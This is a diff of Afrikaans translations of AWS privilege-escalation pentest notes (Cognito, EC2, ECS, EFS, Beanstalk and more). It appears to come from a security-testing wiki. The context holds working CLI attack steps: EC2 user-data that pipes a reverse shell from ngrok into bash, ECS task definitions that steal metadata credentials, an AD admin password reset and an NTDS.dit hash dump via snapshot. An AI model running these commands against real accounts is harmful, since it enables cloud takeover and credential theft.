**manier om toegang te verkry tot hierdie Cognito Identity Pool**. Dan, net **aanmeld** op daardie gebruikersverskaffer sal **hom toelaat om toegang te verkry tot die geconfigureerde gemagtigde rol in die Identity Pool**. +'n Aanvaller met hierdie toestemming kan byvoorbeeld 'n Cognito User Pool onder sy beheer stel of enige ander identiteitsverskaffer waar hy kan aanmeld as 'n **manier om toegang tot hierdie Cognito Identity Pool te verkry**. Dan, net **aanmeld** op daardie gebruikersverskaffer sal **hom toelaat om toegang te verkry tot die geconfigureerde gemagtigde rol in die Identity Pool**. ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider @@ -92,13 +92,13 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id - ### `cognito-idp:AdminConfirmSignUp` -Hierdie toestemming laat toe om **'n aanmelding te verifieer**. Standaard kan enigiemand in Cognito toepassings aanmeld, as dit gelaat word, kan 'n gebruiker 'n rekening met enige data skep en dit met hierdie toestemming verifieer. +Hierdie toestemming laat toe om 'n **aanmelding te verifieer**. Standaard kan enigiemand in Cognito toepassings aanmeld, as dit gelaat word, kan 'n gebruiker 'n rekening met enige data skep en dit met hierdie toestemming verifieer. ```bash aws cognito-idp admin-confirm-sign-up \ --user-pool-id \ --username ``` -**Potensiële Impak:** Indirekte privesc na die identiteitspoel IAM rol vir geverifieerde gebruikers as jy 'n nuwe gebruiker kan registreer. Indirekte privesc na ander app-funksies deur enige rekening te kan bevestig. +**Potensiële Impak:** Indirekte privesc na die identiteitspoel IAM rol vir geverifieerde gebruikers as jy 'n nuwe gebruiker kan registreer. Indirekte privesc na ander app funksies deur enige rekening te kan bevestig. ### `cognito-idp:AdminCreateUser` @@ -121,11 +121,11 @@ aws cognito-idp admin-enable-user \ --user-pool-id \ --username ``` -**Potensiële Impak:** Indirekte privesc na die identiteitspoel IAM rol vir geverifieerde gebruikers en toestemmings van die gebruiker as die aanvaller kredensiale vir 'n gedeaktiveerde gebruiker gehad het. +**Potensiële Impak:** Indirekte privesc na die identiteitspoel IAM-rol vir geverifieerde gebruikers en toestemmings van die gebruiker as die aanvaller kredensiale vir 'n gedeaktiveerde gebruiker gehad het. ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** -Hierdie toestemming laat toe om in te log met die [**metode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Vir meer inligting volg die skakel. +Hierdie toestemming laat toe om aan te meld met die [**metode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Vir meer inligting volg die skakel. ### `cognito-idp:AdminSetUserPassword` @@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \ --username \ --user-pool-id ``` -**SetUserPoolMfaConfig**: Soortgelyk aan die vorige een kan hierdie toestemming gebruik word om MFA-voorkeure van 'n gebruikerspoel in te stel om die MFA-beskerming te omseil. +**SetUserPoolMfaConfig**: Soortgelyk aan die vorige een, kan hierdie toestemming gebruik word om MFA voorkeure van 'n gebruikerspoel in te stel om die MFA-beskerming te omseil. ```bash aws cognito-idp set-user-pool-mfa-config \ --user-pool-id \ @@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \ [--software-token-mfa-configuration ] \ [--mfa-configuration ] ``` -**UpdateUserPool:** Dit is ook moontlik om die gebruikerspoel op te dateer om die MFA-beleid te verander. [Kyk cli hier](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). +**UpdateUserPool:** Dit is ook moontlik om die gebruikerspoel op te dateer om die MFA-beleid te verander. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). **Potential Impact:** Indirekte privesc na potensieel enige gebruiker waarvan die aanvaller die akrediteeringe ken, dit kan toelaat om die MFA-beskerming te omseil. @@ -182,11 +182,11 @@ aws cognito-idp admin-update-user-attributes \ ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -'n Aanvaller met hierdie toestemming kan **'n nuwe User Pool Client minder beperk** as reeds bestaande pool kliënte skep. Byvoorbeeld, die nuwe kliënt kan enige soort metode toelaat om te autentiseer, geen geheim hê nie, token herroeping gedeaktiveer hê, tokens toelaat om vir 'n langer tydperk geldig te wees... +'n Aanvaller met hierdie toestemming kan **'n nuwe User Pool Client minder beperk** as reeds bestaande pool kliënte skep. Byvoorbeeld, die nuwe kliënt kan enige soort metode toelaat om te autentiseer, geen geheim hê nie, token intrekking gedeaktiveer hê, tokens toelaat om vir 'n langer tydperk geldig te wees... Diezelfde kan gedoen word as daar in plaas van om 'n nuwe kliënt te skep, 'n **bestaande een gewysig** word. -In die [**opdraglyn**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (of die [**opdateer een**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) kan jy al die opsies sien, kyk daarna! +In die [**opdraglyn**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (of die [**opdatering een**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) kan jy al die opsies sien, kyk daarna! ```bash aws cognito-idp create-user-pool-client \ --user-pool-id \ @@ -234,7 +234,7 @@ aws cognito-idp create-identity-provider \ ### cognito-sync:\* Analise -Dit is 'n baie algemene toestemming standaard in rolle van Cognito Identiteitspoele. Alhoewel 'n wildcard in 'n toestemmings altyd sleg lyk (veral afkomstig van AWS), is die **gegewe toestemmings nie super nuttig vanuit 'n aanvaller se perspektief nie**. +Dit is 'n baie algemene toestemming standaard in rolle van Cognito Identiteitspoele. Alhoewel 'n wildcard in 'n toestemming altyd sleg lyk (veral afkomstig van AWS), is die **gegewe toestemmings nie baie nuttig vanuit 'n aanvaller se perspektief nie**. Hierdie toestemming laat toe om gebruikersinligting van Identiteitspoele en Identiteits-ID's binne Identiteitspoele te lees (wat nie sensitiewe inligting is nie).\ Identiteits-ID's mag [**Datasette**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) toegeken hê, wat inligting van die sessies is (AWS definieer dit as 'n **gespeelde speletjie**). Dit mag moontlik wees dat dit 'n soort sensitiewe inligting bevat (maar die waarskynlikheid is redelik laag). Jy kan in die [**enumerasiepunt**](../aws-services/aws-cognito-enum/) vind hoe om toegang tot hierdie inligting te verkry. @@ -243,7 +243,7 @@ Identiteits-ID's mag [**Datasette**](https://docs.aws.amazon.com/cognitosync/lat ### Outomatiese Gereedskap -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS-uitbuitingsraamwerk, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito-bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en ook die skepping van gebruikers outomatiseer (insluitend MFA-ondersteuning) en privilige-eskalasie gebaseer op aanpasbare pasgemaakte attributen, bruikbare identiteitspoel akkrediteer, aanneembare rolle in id tokens, ens. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS eksploitasiemodel, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en ook die skepping van gebruikers outomatiseer (insluitend MFA-ondersteuning) en privilige-eskalasie gebaseer op aanpasbare aangepaste attributen, bruikbare identiteitspoel krediete, aanneembare rolle in id tokens, ens. Vir 'n beskrywing van die modules se funksies, sien deel 2 van die [blogpos](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie-instruksies, sien die hoof [Pacu](https://github.com/RhinoSecurityLabs/pacu) bladsy. @@ -255,7 +255,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening, te versamel: +Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening te versamel: ```bash Pacu (new:test) > run cognito__enum ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 5c780098e..928fd062f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -12,11 +12,11 @@ Vir meer inligting oor datapipeline, kyk: ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Gebruikers met hierdie **toestemmings kan voorregte verhoog deur 'n Data Pipeline te skep** om arbitrêre opdragte uit te voer met behulp van die **toestemmings van die toegewyde rol:** +Gebruikers met hierdie **toestemmings kan voorregte opgradeer deur 'n Data Pipeline te skep** om arbitrêre opdragte uit te voer met die **toestemmings van die toegewyde rol:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` -Na die skep van die pyplyn, werk die aanvaller sy definisie by om spesifieke aksies of hulpbron skeppings te bepaal: +Na die skep van die pyplyn, werk die aanvaller die definisie op om spesifieke aksies of hulpbron skeppings te bepaal: ```json { "objects": [ @@ -50,16 +50,16 @@ Na die skep van die pyplyn, werk die aanvaller sy definisie by om spesifieke aks } ``` > [!NOTE] -> Let daarop dat die **rol** in **lyn 14, 15 en 27** 'n rol moet wees wat **assumable is deur datapipeline.amazonaws.com** en die rol in **lyn 28** moet 'n **rol wees wat assumable is deur ec2.amazonaws.com met 'n EC2-profiel instansie**. +> Let daarop dat die **rol** in **lyn 14, 15 en 27** 'n rol moet wees wat **assumable deur datapipeline.amazonaws.com** is en die rol in **lyn 28** moet 'n **rol wees wat assumable deur ec2.amazonaws.com met 'n EC2 profiel instansie**. > -> Boonop sal die EC2-instansie slegs toegang hê tot die rol wat assumable is deur die EC2-instansie (so jy kan net daardie een steel). +> Boonop sal die EC2 instansie slegs toegang hê tot die rol wat assumable deur die EC2 instansie is (so jy kan net daardie een steel). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` -Die **pypelyn-definisie-lêer, saamgestel deur die aanvaller, sluit opdragte in om opdragte uit te voer** of hulpbronne te skep via die AWS API, wat die Data Pipeline se roltoestemmings benut om moontlik bykomende voorregte te verkry. +Die **pypelyn definisie lêer, geskep deur die aanvaller, sluit opdragte in om opdragte uit te voer** of hulpbronne te skep via die AWS API, wat die Data Pipeline se rol toestemmings benut om moontlik addisionele voorregte te verkry. -**Potensiële Impak:** Direkte privesc na die ec2 diensrol wat gespesifiseer is. +**Potensiële Impak:** Direkte privesc na die ec2 diensrol gespesifiseer. ## Verwysings diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index 794cda193..4d3cb13c1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -17,7 +17,7 @@ Standaard is die enigste bestaande gebruiker **Admin**. ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. ``` -### AWS Management Console +### AWS Bestuurskonsol Dit is moontlik om 'n **toepassingstoegang URL** in te skakel wat gebruikers van AD kan gebruik om aan te meld: diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index e2521ee5e..0e79e1add 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -20,7 +20,7 @@ Die hulpmiddel [https://github.com/Static-Flow/CloudCopy](https://github.com/Sta ### **`ec2:CreateSnapshot`** -Enige AWS-gebruiker wat die **`EC2:CreateSnapshot`** toestemming besit, kan die hashes van alle domein gebruikers steel deur 'n **snapshot van die Domeinbeheerder** te skep, dit aan 'n instansie wat hulle beheer te koppel en die **NTDS.dit en SYSTEM** registerhive-lêer te eksporteer vir gebruik met Impacket se secretsdump-projek. +Enige AWS-gebruiker wat die **`EC2:CreateSnapshot`** toestemming besit, kan die hashes van alle domein gebruikers steel deur 'n **snapshot van die Domeinbeheerder** te skep, dit aan 'n instansie wat hulle beheer te monteer en die **NTDS.dit en SYSTEM** registerhive-lêer te eksporteer vir gebruik met Impacket se secretsdump projek. Jy kan hierdie hulpmiddel gebruik om die aanval te outomatiseer: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) of jy kan een van die vorige tegnieke gebruik nadat jy 'n snapshot geskep het. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 9b1911c18..e93ba022b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Toegang via rev shell in gebruikersdata** -Jy kan 'n nuwe instansie gebruik deur 'n **gebruikersdata** (`--user-data`) wat vir jou 'n **rev shell** sal stuur. Jy hoef nie 'n sekuriteitsgroep op hierdie manier te spesifiseer nie. +Jy kan 'n nuwe instansie draai met 'n **gebruikersdata** (`--user-data`) wat vir jou 'n **rev shell** sal stuur. Jy hoef nie 'n sekuriteitsgroep op hierdie manier te spesifiseer nie. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -Wees versigtig met GuradDuty as jy die akrediteerings van die IAM-rol buite die instansie gebruik: +Wees versigtig met GuradDuty as jy die akrediteerings van die IAM rol buite die instansie gebruik: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potensiële Impak:** Direkte privesc na enige EC2-rol wat aan bestaande instansieprofiele geheg is. +**Potensiële Impak:** Direkte privesc na enige EC2 rol wat aan bestaande instansie profiele geheg is. #### Privesc na ECS -Met hierdie stel toestemmings kan jy ook **'n EC2-instansie skep en dit binne 'n ECS-kluster registreer**. Op hierdie manier sal ECS **dienste** **uitgevoer** word in die **EC2-instansie** waartoe jy toegang het en dan kan jy daardie dienste (docker houers) penetreer en **hulle ECS-rolle wat geheg is** steel. +Met hierdie stel toestemmings kan jy ook **'n EC2 instansie skep en dit registreer binne 'n ECS kluster**. Op hierdie manier sal ECS **dienste** **uitgevoer** word in die **EC2 instansie** waartoe jy toegang het en dan kan jy daardie dienste (docker houers) penetreer en **hulle ECS rolle wat geheg is** steel. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,20 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -Om te leer hoe om **ECS-dienste te dwing om** in hierdie nuwe EC2-instantie te loop, kyk: +Om te leer hoe om **ECS-dienste te dwing** om in hierdie nuwe EC2-instantie te loop, kyk: {{#ref}} aws-ecs-privesc.md {{#endref}} -As jy **nie 'n nuwe instansie kan skep nie** maar die toestemming `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die kluster registreer en die kommentaar-aanval uitvoer. +As jy **nie 'n nuwe instansie kan skep nie** maar die toestemming `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die kluster registreer en die kommentaar aanval uitvoer. **Potensiële Impak:** Direkte privesc na ECS-rolle wat aan take geheg is. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Soos in die vorige scenario, kan 'n aanvaller met hierdie toestemmings die **IAM-rol van 'n gecompromitteerde instansie verander** sodat hy nuwe akrediteerbare kan steel.\ -Aangesien 'n instansieprofiel slegs 1 rol kan hê, as die instansieprofiel **reeds 'n rol het** (gewone geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** benodig. +Soos in die vorige scenario, kan 'n aanvaller met hierdie toestemmings die **IAM-rol van 'n gecompromitteerde instansie verander** sodat hy nuwe akrediteer kan steel.\ +Aangesien 'n instansieprofiel slegs 1 rol kan hê, as die instansieprofiel **reeds 'n rol het** (gewone geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** nodig hê. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -80,7 +80,7 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -As die **instansprofiel 'n rol het** en die aanvaller **dit nie kan verwyder nie**, is daar 'n ander omweg. Hy kan **vind** 'n **instansprofiel sonder 'n rol** of **nuwe een skep** (`iam:CreateInstanceProfile`), **voeg** die **rol** by daardie **instansprofiel** (soos voorheen bespreek), en **koppel die instansprofiel** wat gecompromitteer is aan 'n gecompromitteerde i**nstans:** +As die **instansprofiel 'n rol het** en die aanvaller **dit nie kan verwyder nie**, is daar 'n ander omweg. Hy kan **'n instansprofiel sonder 'n rol vind** of **'n nuwe een skep** (`iam:CreateInstanceProfile`), **die rol** aan daardie **instansprofiel** **toevoeg** (soos voorheen bespreek), en **die instansprofiel** wat gecompromitteer is aan 'n gecompromitteerde i**nstans assosieer:** - As die instans **nie enige instans** profiele het nie (`ec2:AssociateIamInstanceProfile`) \* ```bash @@ -90,18 +90,18 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Met hierdie toestemmings is dit moontlik om die instansieprofiel wat aan 'n instansie gekoppel is, te verander, so as die aanval reeds toegang tot 'n instansie gehad het, sal hy in staat wees om akrediteer te steel vir meer instansieprofielrolle deur die een wat daarmee gekoppel is, te verander. +Met hierdie toestemmings is dit moontlik om die instansieprofiel wat aan 'n instansie gekoppel is, te verander, so as die aanval al toegang tot 'n instansie gehad het, sal hy in staat wees om akrediteer te steel vir meer instansieprofielrolle deur die een wat daarmee geassosieer is, te verander. -- As dit **'n instansieprofiel het**, kan jy die instansieprofiel **verwyder** (`ec2:DisassociateIamInstanceProfile`) en dit **koppel** \* +- As dit **'n instansieprofiel het**, kan jy die instansieprofiel **verwyder** (`ec2:DisassociateIamInstanceProfile`) en dit **assosieer** \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- of **vervang** die **instansprofiel** van die gecompromitteerde instansie (`ec2:ReplaceIamInstanceProfileAssociation`). \* +- of **vervang** die **instansieprofiel** van die gecompromitteerde instansie (`ec2:ReplaceIamInstanceProfileAssociation`). \* ```` ```bash -aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id +aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` **Potensiële Impak:** Direkte privesc na 'n ander EC2-rol (jy moet 'n AWS EC2-instantie gekompromitteer het en 'n paar ekstra toestemmings of spesifieke instansieprofielstatus hê). @@ -109,7 +109,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index c3a5291ef..ab3aba3a7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -12,7 +12,7 @@ Meer **inligting oor ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -'n Aanvaller wat die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS misbruik, kan **nuwe taakdefinisie** genereer met 'n **kwaadwillige houer** wat die metadata-akkrediteerings steel en **dit uitvoer**. +'n Aanvaller wat die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS misbruik, kan **nuwe taakdefinisie** genereer met 'n **kwaadwillige houer** wat die metadata geloofsbriewe steel en **dit uitvoer**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -36,7 +36,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** toestemmings in ECS misbruik **nuwe taakdefinisie** genereer met 'n **kwaadaardige houer** wat die metadata-akkrediteerlinge steel en **dit uitvoer**.\ +Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** toestemmings in ECS misbruik, 'n **nuwe taakdefinisie** genereer met 'n **kwaadaardige houer** wat die metadata-akkrediteerings steel en dit **uitvoer**.\ However, in this case, a container instance to run the malicious task definition need to be. ```bash # Generate task definition with rev shell @@ -97,11 +97,11 @@ aws ecs run-task \ ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Hierdie scenario is soos die vorige, maar **sonder** die **`iam:PassRole`** toestemming.\ -Dit is steeds interessant omdat as jy 'n arbitrêre houer kan uitvoer, selfs al is dit sonder 'n rol, jy 'n **privileged container kan uitvoer om te ontsnap** na die node en die **EC2 IAM rol** en die **ander ECS houer rolle** wat in die node loop, kan **steel**.\ -Jy kan selfs **ander take dwing om binne die EC2 instance** wat jy kompromitteer te loop om hul akrediteer te steel (soos bespreek in die [**Privesc na node afdeling**](aws-ecs-privesc.md#privesc-to-node)). +Dit is steeds interessant omdat as jy 'n arbitrêre houer kan uitvoer, selfs al is dit sonder 'n rol, jy 'n **privilegeerde houer kan uitvoer om te ontsnap** na die node en die **EC2 IAM rol** en die **ander ECS houer rolle** wat in die node loop, kan **steel**.\ +Jy kan selfs **ander take dwing om binne die EC2 instance** wat jy gekompromitteer het, te loop om hul akrediteer te steel (soos bespreek in die [**Privesc na node afdeling**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] -> Hierdie aanval is slegs moontlik as die **ECS-kluster EC2** instances gebruik en nie Fargate nie. +> Hierdie aanval is slegs moontlik as die **ECS-kluster EC2** instansies gebruik en nie Fargate nie. ```bash printf '[ { @@ -144,12 +144,12 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -'n Aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende houer en die IAM-rol wat daaraan gekoppel is, uitbring (jy het die beskryf toestemmings nodig omdat dit nodig is om `aws ecs execute-command` te loop).\ -E however, om dit te doen, moet die houerinstansie die **ExecuteCommand-agent** draai (wat standaard nie is nie). +'n Aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende houer en die IAM-rol wat daaraan gekoppel is, uitbring (jy het die beskryf toestemmings nodig omdat dit nodig is om `aws ecs execute-command` te run).\ +Echter, om dit te doen, moet die houerinstansie die **ExecuteCommand-agent** aan het (wat standaard nie is nie). Daarom kan die aanvaller probeer om: -- **Probeer om 'n opdrag** in elke lopende houer uit te voer. +- **Probeer om 'n opdrag** in elke lopende houer uit te voer ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do @@ -227,7 +227,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Potensiële Impak**: Voer arbitrêre kode uit in die betrokke diens, wat moontlik die funksionaliteit daarvan beïnvloed of sensitiewe data uitvlek. +**Potensiële Impak**: Voer arbitrêre kode uit in die geaffekteerde diens, wat moontlik die funksionaliteit daarvan beïnvloed of sensitiewe data uitlok. ## Verwysings diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 185f503ff..a82881be6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -10,7 +10,7 @@ Meer **inligting oor EFS** in: ../aws-services/aws-efs-enum.md {{#endref}} -Onthou dat jy om 'n EFS te monteer, in 'n subnetwerk moet wees waar die EFS blootgestel is en toegang daartoe moet hê (veiligheidsgroepe). As dit gebeur, sal jy dit standaard altyd kan monteer, maar as dit deur IAM-beleide beskerm word, moet jy die ekstra toestemmings hê wat hier genoem word om toegang te verkry. +Onthou dat jy in 'n subnetwerk moet wees waar die EFS blootgestel is en toegang daartoe moet hê (veiligheidsgroepe) om 'n EFS te monteer. As dit gebeur, sal jy dit altyd kan monteer, maar as dit deur IAM-beleide beskerm word, moet jy die ekstra toestemmings hê wat hier genoem word om toegang te verkry. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` @@ -58,9 +58,9 @@ Met hierdie toestemming sal 'n aanvaller in staat wees om die **EFS te monteer** sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` -Die ekstra regte `elasticfilesystem:ClientRootAccess` en `elasticfilesystem:ClientWrite` kan gebruik word om **te skryf** binne die lêerstelsel nadat dit gemonteer is en om **toegang** tot daardie lêerstelsel **as root** te verkry. +Die ekstra toestemmings `elasticfilesystem:ClientRootAccess` en `elasticfilesystem:ClientWrite` kan gebruik word om **te skryf** binne die lêerstelsel nadat dit gemonteer is en om **toegang** tot daardie lêerstelsel **as root** te verkry. -**Potensiële Impak:** Indirekte privesc deur sensitiewe inligting in die lêerstelsel te lokaliseer. +**Potensiële Impak:** Indirekte privesk deur sensitiewe inligting in die lêerstelsel te lokaliseer. ### `elasticfilesystem:CreateMountTarget` @@ -71,11 +71,11 @@ aws efs create-mount-target --file-system-id \ --subnet-id \ --security-groups ``` -**Potensiële Impak:** Indirekte privesc deur sensitiewe inligting in die lêerstelsel te lokaliseer. +**Potensiële Impak:** Indirekte privesc deur sensitiewe inligting in die lêerstelsel te vind. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -In 'n scenario waar 'n aanvaller ontdek dat die EFS 'n mount target in sy subnetwerk het, maar **geen sekuriteitsgroep die verkeer toelaat nie**, kan hy eenvoudig **dit verander deur die geselekteerde sekuriteitsgroepe aan te pas**: +In 'n scenario waar 'n aanvaller vind dat die EFS 'n mount target in sy subnetwerk het, maar **geen sekuriteitsgroep die verkeer toelaat nie**, kan hy eenvoudig **dit verander deur die geselekteerde sekuriteitsgroepe aan te pas**: ```bash aws efs modify-mount-target-security-groups \ --mount-target-id \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 1eefa948d..35fa3fcbc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -42,7 +42,7 @@ aws elasticbeanstalk create-application --application-name MyApp ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -As 'n omgewing reeds geskep is en jy **nie 'n nuwe een wil skep nie**, kan jy eenvoudig die bestaande een **opdateer**. +As 'n omgewing reeds geskep is en jy **nie 'n nuwe een wil skep nie**, kan jy net die bestaande een **opdateer**. - Pakket jou toepassingskode en afhanklikhede in 'n ZIP-lêer: ```python @@ -56,7 +56,7 @@ aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` -- Ontplooi die toepassingsweergawe na jou AWS Elastic Beanstalk-omgewing: +- Ontplooi die toepassingsweergawe na jou AWS Elastic Beanstalk omgewing: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` @@ 